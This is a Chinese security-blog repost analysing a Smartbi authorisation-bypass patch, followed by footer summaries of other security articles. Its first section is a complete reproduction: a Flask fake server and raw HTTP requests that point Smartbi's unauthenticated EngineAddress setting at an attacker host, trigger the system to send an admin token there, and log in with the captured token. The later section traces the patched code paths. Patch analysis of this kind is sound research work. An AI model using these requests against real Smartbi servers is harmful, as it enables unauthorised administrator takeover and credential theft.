smartbi token回调获取登录凭证漏洞"

admin 2026-10-22 08:55:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

smartbi token回调获取登录凭证漏洞

蚁景网安

2026年2月10日 16:30
湖南

在小说阅读器读本章

去阅读

以下文章来源于蚁景网络安全
,作者sw0rd1ight

蚁景网络安全
.

致力于为你带来更实用的网络安全技术内容!

前段时间,Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,request

app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=[\"POST\"])
def hello():
    print(request.json)
    return jsonify(hi=\"jello\")

if __name__ == \"__main__\":
    app.run(host=\"0.0.0.0\",port=8000)

使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

http://10.52.32.43:8000

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment

发送相关请求后,即可在我们的fake server上面看到了携带token的请求

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关

更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。

分析smartbix.datamining.service.MonitorService类 从头部的注解可知,该类下的所有路由都不需要认证即可访问

定位到getToken方法 该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE\_ADDRESS

这意味着,只要ENGINE\_ADDRESS可控,那么我们就能获取到一个合法的token由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法 可知该方法可以未授权配置ENGINE\_ADDRESS

那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE\_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json) 获取完token后,就可调用/smartbix/api/monitor/login方法进行登录

0x03其他说明

上述只说明了设置ENGINE\_ADDRESS利用的情况,设置SERVICE\_ADDRESS进行利用的步骤也和上述类似

学习网安实战课程,戳“阅读原文”


【已复现】微信Linux版1-Click命令注入漏洞" 网络安全文章

【已复现】微信Linux版1-Click命令注入漏洞"

微信Linux版存在1-Click命令注入漏洞,攻击者通过构造含恶意命令的文件名,用户点击后可在系统中执行任意命令。影响版本为≤4.1.0.13,目前无官方修复版本,建议避免点击可疑文件并临时使用网页版。漏洞CVSS评分8.8,利用可能性高但未发现野外利用。
【热点研判】蒙古国外长会见美副国务卿/日本鹰派胜选推动军备松绑/巴国分离冲突骤烈冲击中巴合作/俄乌和谈曙光乍现博弈暗涌" 网络安全文章

【热点研判】蒙古国外长会见美副国务卿/日本鹰派胜选推动军备松绑/巴国分离冲突骤烈冲击中巴合作/俄乌和谈曙光乍现博弈暗涌"

该文档分析2026年2月国际四大热点事件:巴基斯坦俾路支省分离武装袭击凸显中巴经济走廊安全风险;蒙古国强化对美’第三邻国’外交冲击中蒙传统合作;俄乌和谈进程中的大国博弈影响中国战略利益;日本鹰派胜选加速军备松绑加剧中日地缘矛盾。文档对各事件进行风险研判并提出对策建议,强调中国需警惕海外利益受损与周边安全格局变化。
信息泄漏导致K8S集群被控案例分享" 网络安全文章

信息泄漏导致K8S集群被控案例分享"

文档分享了通过Web端信息泄漏获取K8S集群权限的实战案例。攻击者利用AI中台集群管理功能返回的adminToken敏感字段,结合平台容器环境进行内网横向移动,最终控制16台宿主机和500多个Pod。关键发现包括未脱敏传输token、容器与宿主机网络未隔离等安全隐患。建议删除冗余敏感字段并实施网络隔离。
评论:0   参与:  0